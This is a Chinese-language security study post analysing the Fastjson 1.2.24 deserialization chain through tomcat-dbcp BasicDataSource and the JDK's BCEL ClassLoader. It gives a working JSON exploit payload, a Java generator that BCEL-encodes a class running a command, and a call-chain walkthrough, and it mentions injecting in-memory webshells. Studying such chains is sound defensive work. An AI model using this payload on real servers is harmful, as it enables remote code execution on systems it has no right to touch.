Fastjson tomcat-dhcp链
Fastjson tomcat-dbcp链
这条链可直接回显,可以解决fastjson在内网的情况,因为很多实战的时候,fastjson的应用部署在内网,只映射一个端口出来,导致前面学习的jdbcRowImpl链的jndi利用不了,而TemplatesImpl链又因为有利用条件,用parseObject()
方法时,需要加入Feature.SupportNonPublicField
参数,就有了大佬们使用tomcat-dhcp链,而tomcat-dbcp依赖又是数据库依赖比较常见。而tomcat-dbcp是依赖$$BCEL$$的。
1、前置知识
1.1、BCEL
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。
就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bce
。
我们来看看我们今天的主角com.sun.org.apache.bcel.internal.util.ClassLoader
,在jdk的rt.jar包里面
我们来看loadClass这个方法,获取class_name,判断开头是不是$$BCEL$$
,是就调用createClass(class_name),然后通过
classname获取字节码,然后调用defineClass实例化我们的字节码。我们先看看createClass
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
......
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
createClass这个类就是把$$BCEL$$后面的字段赋值给real_name,然后通过Utility.decode将BCEL解码成字节码,然后解析字节码编程类,返回这个类,所以createClass就是获取class_name的$$BCEL$$的字节码转换成类
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();
ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));
return clazz;
}
还有有一个点就是com.sun.org.apache.bcel.internal.classfile.Utility
该类存储了bcel的加解密方法
Utility.decode(String real_name, true)
Utility.encode(byte[] bytes,, true)
最后poc的构造
我们可以通过FastJson反序列化,反序列化生成一个 org.apache.tomcat.dbcp.dbcp2.BasicDataSource 对象,并将它的成员变量 classloader 赋值为 com.sun.org.apache.bcel.internal.util.ClassLoader 对象,将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块
2、POC分析
2.1、依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>
2.2、poc
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
编写恶意代码类,并且编译成class文件,既字节码形式
package com.akkacloud;
import java.io.IOException;
public class Calc {
public Calc() throws IOException {
Runtime.getRuntime().exec(" open /System/Applications/Calculator.app ");
}
}
package com.akkacloud;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.util.Arrays;
class fastjson_dbcp {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(Calc.class);
//System.out.println(Arrays.toString(cls.getBytes()));
String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
System.out.println(code);
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
最后说一句对jdk版本有要求,jdk1.8u251前可以成功
2.3、利用链
BasicDataSource.getConnection()
createDataSource()
createConnectionFactory()
其实看到这个利用链,就知道传入我们的BasicDataSource类,会自动调用getter和setter方法,然后调用getConnection方法。我们在
getConnection打断点调试一下,可以看到我们在BasicDataSource里存入的恶意代码都已经存入,继续跟createDataSource
跟进发现,会判断dataSource是够为空,然后调用createConnectionFactory(就是创建链接工厂方法),继续跟进
到了这里就很清楚了,通过class.forName方法,使用我们自定义的classloder(com.sun.org.apache.bcel.internal.util.ClassLoader),获取该类
然后实例化该类,造成命令执行。
2.4、结束
旧版本的 tomcat-dbcp 对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>
Tomcat 8.0以后采用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
我们可以通过传入内存马的Class字节码,达到回显的目的
参考
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://www.cnblogs.com/nice0e3/p/14949148.html#
Fastjson tomcat-dhcp链的更多相关文章
- Fastjson JdbcRowSetImpl利用链学习
JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...
- C3P0反序列化链学习
C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...
- Ubuntu server12.04安装JDK+Tomcat+mysql
一.安装JDK 1.首先到官网上下载jdk-7u79-linux-x64.tar.gz. 2.将jdk-7u79-linux-x64.tar.gz拷贝到/usr/lib/jdk/目录下面,这里如果没有 ...
- Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析(转载)
简介: 这个分为两个部分的系列文章研究了 Apache Tomcat 服务器的系统架构以及其运用的很多经典设计模式.第 1 部分 分析了 Tomcat 的工作原理,第 2 部分将分析 Tomcat 中 ...
- Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析
门面设计模式 门面设计模式在 Tomcat 中有多处使用,在 Request 和 Response 对象封装中.Standard Wrapper 到 ServletConfig 封装中.Applica ...
- tomcat 系统架构与设计模式 第二部分 设计模式 转
Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析 许 令波, Java 开发工程师, 淘宝网 许令波,现就职于淘宝网,是一名 Java 开发工程师.对大型互联网架构设计颇感兴趣,并对一些 ...
- linux下安装tomcat,并设置自动启动
在linux系统下,设置某个服务自启动的话,需要在/etc/rcX.d下挂载,还要在/etc/init.d/下写启动脚本的 在/etc/init.d/下新建一个文件tomcat(需要在root权限下操 ...
- Tomcat设计模式
omcat 系统架构与设计模式,第 2 部分 设计模式分析 系列内容: 此内容是该系列 2 部分中的第 2 部分: Tomcat 系统架构与设计模式 门面设计模式 门面设计模式在 Tomcat 中有多 ...
- 【Tomcat】Tomcat相关设计模式分析
门面模式 门面模式在 Tomcat 中有多处使用,在 Request 和 Response 对象封装中.Standard Wrapper 到 ServletConfig 封装中.Application ...
- 【Tomcat】Tomcat 系统架构与设计模式,第 2 部分: 设计模式分析
这个分为两个部分的系列文章研究了 Apache Tomcat 服务器的系统架构以及其运用的很多经典设计模式.第 1 部分 分析了 Tomcat 的工作原理,第 2 部分将分析 Tomcat 中运用的许 ...
随机推荐
- select、poll和epoll的区别
操作系统在处理io的时候,主要有两个阶段: 等待数据传到io设备 io设备将数据复制到user space 我们一般将上述过程简化理解为: 等到数据传到kernel内核space kernel内核区域 ...
- String--Date互转
相关类:DateFormat:抽象类DateFormat可以进行日期和字符串的格式化和解析,使用子类SimpleDateFormat实现. 1.Date --> String(格式化) publ ...
- 在 java 中 wait 和 sleep 方法的不同?
最大的不同是在等待时 wait 会释放锁,而 sleep 一直持有锁.Wait 通常被用于线 程间交互,sleep 通常被用于暂停执行. 直接了解的深入一点吧: 在 Java 中线程的状态一共被分成 ...
- 去掉一个Vector集合中重复的元素?
Vector newVector = new Vector();For (int i=0;i<vector.size();i++){Object obj = vector.get(i); ...
- Redis 常见性能问题和解决方案?
1.Master 最好不要写内存快照,如果 Master 写内存快照,save 命令调度 rdbSave 函数,会阻塞主线程的工作,当快照比较大时对性能影响是非常大的,会间断性 暂停服务 2.如果数据 ...
- 记一次 Nuxt 3 在 Windows 下的打包问题
0. 背景 之前用 Nuxt 3 写了公司的官网,包括了样式.字体图标.图片.视频等,其中样式和字体图标放在了 assets/styles 和 assets/fonts 目录下,而图片和视频则放在了 ...
- 技能篇:linux服务性能问题排查及jvm调优思路
只要业务逻辑代码写正确,处理好业务状态在多线程的并发问题,很少会有调优方面的需求.最多就是在性能监控平台发现某些接口的调用耗时偏高,然后再发现某一SQL或第三方接口执行超时之类的.如果你是负责中间件或 ...
- 使用css完成引导用户按照流程完成任务的进度导航条
首先先看设计稿 图中的12345便是主角进度条. 分析需求如下:线的长度不固定,适应移动端和pc端点平均地分布在一条线上点的个数不固定,可能会改变激活的点之间线的颜色是绿色的 两种种方式 百分比宽度切 ...
- 《深入理解ES6》笔记—— JavaScript中的类class(9)
ES5中的近类结构 ES5以及之前的版本,没有类的概念,但是聪明的JavaScript开发者,为了实现面向对象,创建了特殊的近类结构. ES5中创建类的方法:新建一个构造函数,定义一个方法并且赋值给构 ...
- H5页面实现下载文件(apk、txt等)的三种方式
需求描述 接到的原始需求是这样的,有一个H5页面,页面中有个"点击下载"的按钮,点击之后,完成下载特定的apk.大概是下面这样的: 需求分析 接到需求的时候我偷乐了一下,这个H5页 ...